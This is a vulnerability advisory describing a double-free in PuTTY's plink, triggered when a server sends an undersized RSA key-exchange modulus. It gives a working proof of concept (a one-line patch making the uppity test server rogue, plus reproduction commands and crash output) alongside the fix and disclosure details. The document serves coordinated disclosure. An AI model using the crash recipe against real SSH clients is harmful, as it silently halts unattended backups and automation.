plink dies on one byte from the wire

one under-sized RSA key crashes unattended job

Discovered 8 May 2026 · Updated 22 May 2026

plink is PuTTY's command-line SSH client: the one a Windows scheduled task calls at three in the morning, the one a backup script dials out with. PuTTY long predates OpenSSH on Windows, so a great deal of automation that nobody has revisited since it was deployed still runs through it. An on-path attacker shrinks the RSA key an honest server sends to one size too small, and plink crashes. No host-key prompt, no rejection message, exit 134. The backups stop that night, and no one notices for months — until someone needs a file that was never saved.

> *An attacker shrinks the RSA key on the wire. plink frees the same key twice and aborts. Months of nightly backups that never ran.*

A nightly backup job wakes at three in the morning. plink dials the bastion host it archives through. The bastion is honest, offering its default `rsa2048-sha256` key exchange — but an attacker on the path between the two rewrites one field as the handshake passes.

The modulus that reaches plink is 1024 bits, not 2048; plink notices the mismatch and tries to bail out. Instead, it crashes.

The job exits with SIGABRT before authentication, before any host key is checked, before anyone knows anything is wrong. One wire field decides the crash: the bit length of the modulus. On glibc 2.29 and newer, the C runtime catches the double-free and aborts the process — a clean denial of service.

Don't trust, verify: Rogue server, stock plink, SIGABRT

PuTTY ships a test server, uppity, built from the same tree as plink, and one change turns it rogue: generating the transient key for a `rsa2048-sha256` exchange, it emits a 1024-bit modulus instead of the 2048 bits demanded:

```
--- a/ssh/kex2-server.c
+++ b/ssh/kex2-server.c
@@ -273,7 +273,7 @@ void ssh2kex_coroutine(struct ssh2_transport_state *s, bool *ab
                 &primegen_probabilistic);
             ProgressReceiver null_progress;
             null_progress.vt = &null_progress_vt;
-            rsa_generate(s->rsa_kex_key, extra->minklen, false,
+            rsa_generate(s->rsa_kex_key, 1024, false,
                          pgc, &null_progress);
             primegen_free_context(pgc);
```

That one line is the whole attacker: a rogue server, or an on-path box rewriting an honest server's key. On the wire the two are one event, a man in the middle between the job and its bastion, which is the honest case the opening describes. That is the shape WAVED and BLACKHOLE build directly, with two `nc`s and a short perl filter between them, flipping a byte or dropping a record as the connection passes. The same relay would carry this attack, but its filter would have far more to do.

Barely viable PoC. The undersized modulus is not one byte but a whole re-encoded transient key buried in SSH's binary packet framing, so a faithful relay would parse the transport, substitute the key blob, and repair the packet length and padding. Patching uppity's key generator to emit the 1024-bit modulus reaches the identical state on plink's socket in a single line — the simplest adversary that lands an undersized modulus there, and the crash shows everything a heavier rig would.

The plink Debian ships in putty-tools goes against that server, which offers `rsa2048-sha256` and nothing else (one compiled here from the pinned tree fails identically, so the defect is upstream 0.83 source rather than packaging). What lands is glibc catching plink's second `sfree(rsa_kex_key)`, written from inside the transport-state destructor:

```
# the plink Debian ships, against the rogue server; the lines below the
# command are plink's own -v log, decisive ones only
$ ./uppity-rogue --listen 22341 --listen-once --hostkey hostkey.ppk \
     --kexinit-kex rsa2048-sha256 --sessiondir ./home --deny-auth publickey \
     --deny-auth kbdint --deny-auth tis --deny-auth cryptocard &
$ plink -v -ssh -no-antispoof -P 22341 -l test -pw weasel 127.0.0.1 echo hi
We claim version: SSH-2.0-PuTTY_Release_0.83
Doing RSA key exchange with hash SHA-256 (SHA-NI accelerated)
free(): double free detected in tcache 2
plink exit status: 134 (killed by signal 6)
```

A compliant client receiving the same modulus writes a rejection and exits with a positive status. plink crashes instead.

Trace to vulnerability site: One latch never cleared

plink's RSA-KEX coroutine sets a destructor latch the moment it has parsed the server's transient key, and the size-mismatch early-return fifteen lines later never clears it. The error path it calls tears down the protocol layers, and the transport-state destructor it reaches runs both halves of the free:

> ▸ the trace, if you want to follow the source yourself

The success path at `kex2-client.c:668-670` frees the key once, through `ssh_rsakex_freekey()`, and clears the latch behind it; no `sfree` follows. That helper routes through `rsa2_freekey()` at `crypto/rsa.c:521`, which frees the inner RSA fields and the outer `RSAKey` struct alike, so the destructor's trailing `sfree` frees that pointer a second time. Glibc's tcache aborts there, and the rejection plink composed never reaches the terminal.

Fix

The success path frees the key once, through `ssh_rsakex_freekey()`, which owns both halves. The destructor frees that pointer again. Delete it:

```
--- a/ssh/transport2.c
+++ b/ssh/transport2.c
@@ -253,7 +253,6 @@ static void ssh2_transport_free(PacketProtocolLayer *ppl)
         dh_cleanup(s->dh_ctx);
     if (s->rsa_kex_key_needs_freeing) {
         ssh_rsakex_freekey(s->rsa_kex_key);
-        sfree(s->rsa_kex_key);
     }
     if (s->ecdh_key)
         ecdh_key_free(s->ecdh_key);
--- a/ssh/kex2-server.c
+++ b/ssh/kex2-server.c
@@ -323,7 +323,6 @@ void ssh2kex_coroutine(struct ssh2_transport_state *s, bool *ab

         if (s->rsa_kex_key_needs_freeing) {
             ssh_rsakex_freekey(s->rsa_kex_key);
-            sfree(s->rsa_kex_key);
         }
         s->rsa_kex_key = NULL;
         s->rsa_kex_key_needs_freeing = false;
```

The second hunk closes the same duplicate free in `ssh/kex2-server.c`, which a malicious client reaches instead. Applied to the same tree, rebuilt from it, and the identical adversary met again:

```
# save the diff above beside the clone as fix.patch, apply it, and
# rebuild both roles from the same tree and the same compiler
$ git -C putty apply ../fix.patch
$ cmake --build putty/build -j2 --target plink uppity
$ cp putty/build/plink plink-guarded

# the identical adversary, against the guarded client
$ ./uppity-rogue --listen 22343 --listen-once --hostkey hostkey.ppk \
     --kexinit-kex rsa2048-sha256 --sessiondir ./home --deny-auth publickey \
     --deny-auth kbdint --deny-auth tis --deny-auth cryptocard &
$ ./plink-guarded -v -ssh -no-antispoof -P 22343 -l test -pw weasel 127.0.0.1 \
     echo hi
We claim version: SSH-2.0-PuTTY_Unidentified_Local_Build
Doing RSA key exchange with hash SHA-256 (SHA-NI accelerated)
FATAL ERROR: Server sent 1024-bit RSA key, less than the minimum size 2048 for rsa2
plink exit status: 1
```

The crash flips to the rejection the source always meant to write: the destructor frees once, the message survives the teardown, and plink exits on a protocol error rather than a signal. Every PuTTY tool speaking SSH-2 shares that code, so psftp, pscp and the Windows GUI come with it.

Scope

The double-free is not a recent regression. It shipped in 2019, when PuTTY's test server gained an option to reuse a pregenerated RSA key and the refactor added a second free to the shared transport teardown. Every release from 0.72 through 0.83 has carried it: seven years in which one undersized modulus from the wire could end an unattended plink before authentication. Outside glibc 2.29 and newer there is no tcache backstop, and what the second free becomes on the Windows CRT, musl or jemalloc is untested.

The same duplicate free sits in `ssh/kex2-server.c`, reached by a malicious client rather than a malicious server, and the same two-line removal closes it. It is not demonstrated here because PuTTY's server side is uppity, a test server its own documentation says is not for production use, and psusan, which serves a local shell over an existing connection rather than listening for strangers. The crash is real on both and worth removing; neither is the unattended client running at three in the morning that this finding is about.

Discovered 2026-05-08; disclosed 2026-05-14 (CERT/CC VRF#26-05-NFYTP; vendor-direct GPG to the PuTTY team). Targets: PuTTY 0.83 plink (Debian `putty-tools 0.83-3`, commit `d2c178c`). CWE-415 · CVSS 5.9 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

Updated 22 May 2026 — Cybernuke's two-line fix shipped in PuTTY 0.84, CVE-2026-48850 (vendor advisory `rsakex-double-free`). Every release from 0.72 through 0.83 affected.

Appendix: standing it up

Nothing below changes the finding; it is what a verifier types to reach it. All of it comes out of one pinned tree, into an empty directory holding the two diffs above; the recipe wants git, cmake and a C compiler:

```
# the victim: Debian trixie ships plink and puttygen in putty-tools
$ plink -V
plink: Release 0.83
Build platform: 64-bit Unix
Compiler: gcc 14.2.0
Source commit: d2c178c49a0ae6fa9ef75ca84fb3c9d0d675ea85

# the adversary and a second victim come from one pinned PuTTY tree
$ git clone -q https://git.tartarus.org/simon/putty.git putty
$ git -C putty checkout -q d2c178c
# PuTTY d2c178c

# save the diff above beside the clone as adversary.patch, apply it,
# and build PuTTY's own test server from the patched tree
$ git -C putty apply ../adversary.patch
$ cmake -B putty/build -S putty
$ cmake --build putty/build -j2 --target uppity
$ cp putty/build/uppity uppity-rogue

# then put the tree back to stock and build the client from it, so
# the guard below is the only thing that ever changes about plink
$ git -C putty checkout ssh/kex2-server.c
$ cmake --build putty/build -j2 --target plink
$ cp putty/build/plink plink-stock

# a host key for the server to present
$ puttygen -t ed25519 --new-passphrase /dev/null -o hostkey.ppk
```